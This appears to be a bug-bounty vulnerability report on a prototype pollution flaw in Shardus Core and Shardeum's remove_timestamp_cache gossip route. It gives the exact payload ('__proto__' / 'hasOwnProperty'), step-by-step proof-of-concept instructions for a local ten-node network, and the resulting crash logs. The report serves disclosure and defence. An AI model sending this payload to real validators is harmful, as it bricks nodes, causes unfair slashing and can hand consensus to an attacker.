Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
A prototype pollution attack that bricks validators.
Differently from the prototype pollution attack our team discover in report #33637, the vulnerable code is located in a different function and is not an assignment but a delete operation, requiring a different type of payload to become exploitable.
Report Description
The vulnerable code snippet
Below is the handler of the gossip route remove_timestamp_cache as reference:
The value of cycleCounter and txId is controlled by the sender.
The first step in the execution flow
The function checks that the cycle counter and tx were previously saved in the cache. If they are not, the function returns without doing anything.
┌──────────────────────┐
│remove_timestamp_cache│
└───────────┬──────────┘
______▽______
╱ ╲ ┌─────────┐
╱ Is the value ╲______│Delete it│
╲ in the cache? ╱yes └────┬────┘
╲_____________╱ ┌───────▽──────┐
│no │Set it to NULL│
┌─▽─┐ └───────┬──────┘
│END│ ┌─▽─┐
└───┘ │END│
└───┘
Unfortunately, both evaluations can be bypassed as follow:
Step 1- Set cycleCounter to __proto__
Which evaluates as this.txTimestampCache[ '__proto__' ], returning the Prototype of all Javascript objects.
All objects in javascript have a prototype they inherit properties from, like object.toString().
Step 2- Set txId to any default function existing in all Javascript objects, for example, hasOwnProperty(...) or toString(...).
Both checks pass because all objects contain a non-null/non-undefined value in object["__proto__"], object["__proto__"]["toString"], object["__proto__"]["hasOwnProperty"] and other default properties of an object.
Now, delete and set anyObject['__proto__']['toString'] to null, then print the output of its "toString()" function:
delete anyObject['__proto__']['toString'];
anyObject['__proto__']['toString'] = null;
console.log(anyObject.toString());
// ERROR: anyObject.toString is not a function. (In 'anyObject.toString()', 'anyObject.toString' is null)
The error "anyObject.toString is not a function. (In 'anyObject.toString()', 'anyObject.toString' is null) " is thrown.
But what's worse, we deleted toString() from ALL existing objects and any new object created.
Create a completely new object right after and run his toString() function:
let anotherObject = JSON.parse("{}");
console.log(anotherObject.toString());
// ERROR: anotherObject.toString is not a function. (In 'anotherObject.toString()', 'anotherObject.toString' is null)
Exploiting the attack vector
Active nodes can gossip other validators to the internal route remove_timestamp_cache.
If the gossipped message contains the following payload:
// returns true
if (this.txTimestampCache[ '__proto__' ] &&
// returns true
this.txTimestampCache[ '__proto__' ][ 'hasOwnProperty' ]) {
delete this.txTimestampCache[ '__proto__' ][ 'hasOwnProperty' ]
this.txTimestampCache[ '__proto__' ][ 'hasOwnProperty' ] = null
// The property hasOwnProperty was removed from all objects
}
A chain of crashes in Shardus Core and Shardeum
Almost all core functions in Shardus Core, Shardeum and most libraries imported need at some point access to the functions hasOwnProperty and toString of an object.
When an attacker exploits the prototype pollution vector described in this report to delete and set to null all inherited properties of all objects, these functions crash, when they crash the server tries to exit by calling the function exitUncleanly(..), but exitUncleanly(..) crashes as well preventing the node from shutting down.
An infinite loop of crash -> try to exit -> repeat begins.
One of the core functionalities that crashes in a loop is the syncing processes in the CycleMaker.
Trying to fetch the previous record crashes repeatedly.
[2024-07-25T01:27:18.043] [WARN] p2p - CycleCreator: cc: cycleCreator: Could not get fetch prevRecord. Trying again in 1 sec... cct7
Trying to sync a new cycle crashes repeatedly.
[2024-07-25T01:27:19.046] [WARN] p2p - CycleCreator: CycleCreator: fetchLatestRecord: syncNewCycles failed: Error: warning: getNewestCycle: no newestCycle yet at Error: warning: getNewestCycle: no newestCycle yet
at getNewestCycle (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Sync.ts:461:37)
at processTicksAndRejections (node:internal/process/task_queues:95:5)
at syncNewCycles (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Sync.ts:261:21)
at fetchLatestRecord (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:813:5)
at cycleCreator (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:366:20)
at Timeout._onTimeout (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:917:7)
The shardus-net's listen callback and other libraries, they all crash in a loop:
Error in shardus-net's listen callback: TypeError: Cannot read properties of null (reading 'call')
at Object.typeReviver (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/types/src/utils/functions/stringify.ts:189:37)
at JSON.parse (<anonymous>)
at safeJsonParse (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/types/src/utils/functions/stringify.ts:48:15)
at jsonParse (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/net/src/util/Encoding.ts:6:25)
at extractUUIDHandleData (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/net/src/index.ts:368:45)
at /home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/net/src/index.ts:455:11
The scheduled Snapshot does as well:
TypeError: Cannot read properties of null (reading 'snapshot')
at Statistics._takeSnapshot (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/statistics/index.ts:342:30)
at listOnTimeout (node:internal/timers:569:17)
at processTimers (node:internal/timers:512:7)
And more.
Impact of executing the attack vector
The victim (a node or a group of nodes) can be moved to an invalid state where all core functionalities crash.
The node is unable to restart/quit because exitUncleanly(..) crashes as well. As a consequence, he is forced to keep running no matter what invalid state he is in.
The node is removed from the network and won't be able to join again because most of its core functionality crashes.
Attacking selected nodes to silently brick them while they are selected as the active validators, exposes them to unfair slashing, which creates a loss of funds.
In the worst-case scenario, over time all nodes except those controlled by the attacker, will have been polluted, put into an invalid state, and kicked out of the network. Then only malicious nodes can be selected, allowing them to control the outcome of any consensus.
Proof of concept
Before modifying the code directly to include the proof of concept, is important to start a fresh setup to prevent issues raised by working with a custom version of the codebase.
Prepare a fresh setup
Clone the Shardus Core and Shardeum repo locally.
Apply the debug-10-nodes.patch patch.
Point Shardeum to the local version of Shardus Core by modifying the file package.json as instructed in the repos.
In your local copy of Shardeum, open the file ./src/index.ts and add the following function at line #1125 (https://github.com/shardeum/shardeum/blob/dev/src/index.ts#L1125)
The code snippet above allows a malicious node to receive an HTTP POST request with a public key, a route, and a payload, then gossip it to the corresponding victim.
We will use this entry point to gossip a message from a malicious validator to a victim
Install dependencies and build both repositories.
Start the network with shardus start 10
Go to the monitor page at http://SERVER_IP:3000/ and wait until the Cycle Counter number 15. By that time all 10 nodes should be active.
Distributing the malicious payload
By now, all 10 nodes should be active.
Select any node you want to be the victim
For this example, we'll pick the one running at port 9003.
Visit http://SERVER_IP:4000/nodelist - you will see a list of active nodes and their public keys. Copy the public key of the node running at port 9003.
Select any node you want to act maliciously.
For this example, we'll pick the one running at port 9002.
In a new tab visit http://SERVER_IP:9002 (replace 9002 with the port of the node you decide to pick as malicious).
Prepare the payload.
While still in the tab for the URL http://SERVER_IP:9002 - open the developer console in your browser (right-click in the blank space of the page, select "Inspect element", then click in the "Console" tab).
Paste the following snippet of code in the console. REPLACE "SERVER_IP" with the IP of the server and REPLACE "PK_OF_VICTIM" with the public key of the victim you selected.
State of the victim node after sending the payload
If the steps were followed correctly:
The browser console will output:
Success - { ok: 1 }
The Network Monitor running at port 3000 will paint in red the victim node and later remove it from the screen.
The victim node starts to constantly throw exceptions in core functionality:
As soon as our payload is processed by the victim it outputs the following to the logs:
[2024-07-25T01:26:33.320] [DEBUG] main - Removed timestamp cache for txId: hasOwnProperty, timestamp: null
Verify this in the log file located at ./instances/shardus-instance-9003/logs/main.log
And immediately everything starts crashing everywhere:
[2024-07-25T01:26:33.321] [ERROR] main - Network: _setupInternal: TypeError: Cannot read properties of null (reading 'call')
at Object.typeReviver (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/types/src/utils/functions/stringify.ts:189:37)
at JSON.parse (<anonymous>)
at Object.safeJsonParse (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/types/src/utils/functions/stringify.ts:48:15)
at Crypto.sign (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/crypto/index.ts:198:27)
at Crypto.signWithSize (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/crypto/index.ts:189:17)
at _wrapAndSignMessage (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Comms.ts:257:17)
at respondWrapped (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Comms.ts:545:17)
at /home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/state-manager/TransactionConsensus.ts:279:15
at wrappedHandler (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Comms.ts:585:11)
at /home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/network/index.ts:233:15
[2024-07-25T01:26:33.374] [ERROR] main - DBG Network: _setupInternal > sn.listen > callback > data {
payload: {
msgSize: 235,
payload: {
cycleCounter: '__proto__',
receipt2: 'ok',
txId: 'hasOwnProperty'
},
sender: '5bacdb9dfd76099bb98d33b63f687f3b7ad1152f12232ee9fb4aebd5ba1dd07f',
tracker: 'key_remove_timestamp_cache_5bacxdd07f_1721888793304_42',
sign: {
owner: 'ab83bcdb9d30951bf23e008ab8fd31e15b173c69c3b3aabdc6fa4b85c75764a4',
sig: '0ca7a777398f6164fd64d859ae8150e9b1dbf059a2683cfad3ae72b33d74528b36822a30f790c9e4acf255228074778b65ad77807ea3dc498d16b7c468019b0b36a651b5fb9e094b50a5a3379c6a6814b4f20f7cf6f5aed3b2c458eb490a3ec5'
}
},
route: 'remove_timestamp_cache'
}
[2024-07-25T01:26:33.374] [ERROR] main - DBG Network: _setupInternal > sn.listen > callback > remote { address: '127.0.0.1', port: 58814 }
[2024-07-25T01:26:34.088] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:34.088] [INFO] main - Stopping reporter...
[2024-07-25T01:26:34.089] [INFO] main - Stopping statistics reporting...
[2024-07-25T01:26:34.089] [INFO] main - Stopping POW generators...
[2024-07-25T01:26:34.092] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:35.083] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:36.084] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:37.085] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:38.085] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:39.011] [INFO] main - exitUncleanly: logFatalAndExit
[2024-07-25T01:26:39.085] [INFO] main - exitUncleanly: logFatalAndExit
...
Verify this in the log file located at ./instances/shardus-instance-9003/logs/main.log
Including the snapshot feature:
[2024-07-25T01:48:07.291] [FATAL] fatal - unhandledRejection: TypeError: Cannot read properties of null (reading 'snapshot')
at Statistics._takeSnapshot (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/statistics/index.ts:342:30)
at listOnTimeout (node:internal/timers:569:17)
at processTimers (node:internal/timers:512:7)
Verify this in the log file located at ./instances/shardus-instance-9003/logs/fatal.log
His attempt to "apoptosize" himself:
[2024-07-25T01:48:08.294] [FATAL] fatal - unhandledRejection: TypeError: Cannot read properties of null (reading 'call')
at Object.typeReviver (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/types/src/utils/functions/stringify.ts:189:37)
at JSON.parse (<anonymous>)
at Object.safeJsonParse (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/shardus-core/node_modules/@shardus/types/src/utils/functions/stringify.ts:48:15)
at Crypto.sign (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/crypto/index.ts:198:27)
at createProposal (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Apoptosis.ts:382:17)
at Object.apoptosizeSelf (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Apoptosis.ts:315:20)
at fetchLatestRecord (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:839:17)
at processTicksAndRejections (node:internal/process/task_queues:95:5)
at runNextTicks (node:internal/process/task_queues:64:3)
at listOnTimeout (node:internal/timers:538:9)
Verify this in the log file located at ./instances/shardus-instance-9003/logs/fatal.log
The functionality of the CycleCreator:
[2024-07-25T01:36:17.903] [WARN] p2p - CycleCreator: CycleCreator: fetchLatestRecord: syncNewCycles failed: Error: warning: getNewestCycle: no newestCycle yet at Error: warning: getNewestCycle: no newestCycle yet
at getNewestCycle (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Sync.ts:461:37)
at processTicksAndRejections (node:internal/process/task_queues:95:5)
at runNextTicks (node:internal/process/task_queues:64:3)
at listOnTimeout (node:internal/timers:538:9)
at processTimers (node:internal/timers:512:7)
at syncNewCycles (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/Sync.ts:261:21)
at fetchLatestRecord (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:813:5)
at cycleCreator (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:366:20)
at Timeout._onTimeout (/home/z/Documents/Temporal/playground/shardeum/pocs/server4/src/p2p/CycleCreator.ts:917:7)
[2024-07-25T01:36:17.903] [ERROR] p2p - CycleCreator: CycleCreator: fetchLatestRecord_B: fetchLatestRecordFails > maxFetchLatestRecordFails. apoptosizeSelf
[2024-07-25T01:36:17.903] [WARN] p2p - Apoptosis: In apoptosizeSelf. Apoptosized within fetchLatestRecord() => src/p2p/CycleCreator.ts
[2024-07-25T01:36:17.903] [WARN] p2p - CycleCreator: cc: cycleCreator: Could not get fetch prevRecord. Trying again in 1 sec... cct7
Verify this in the log file located at ./instances/shardus-instance-9003/logs/p2p.log
The node is removed from the network and he's forced to keep running under an invalid state because the function that exits crashes as well.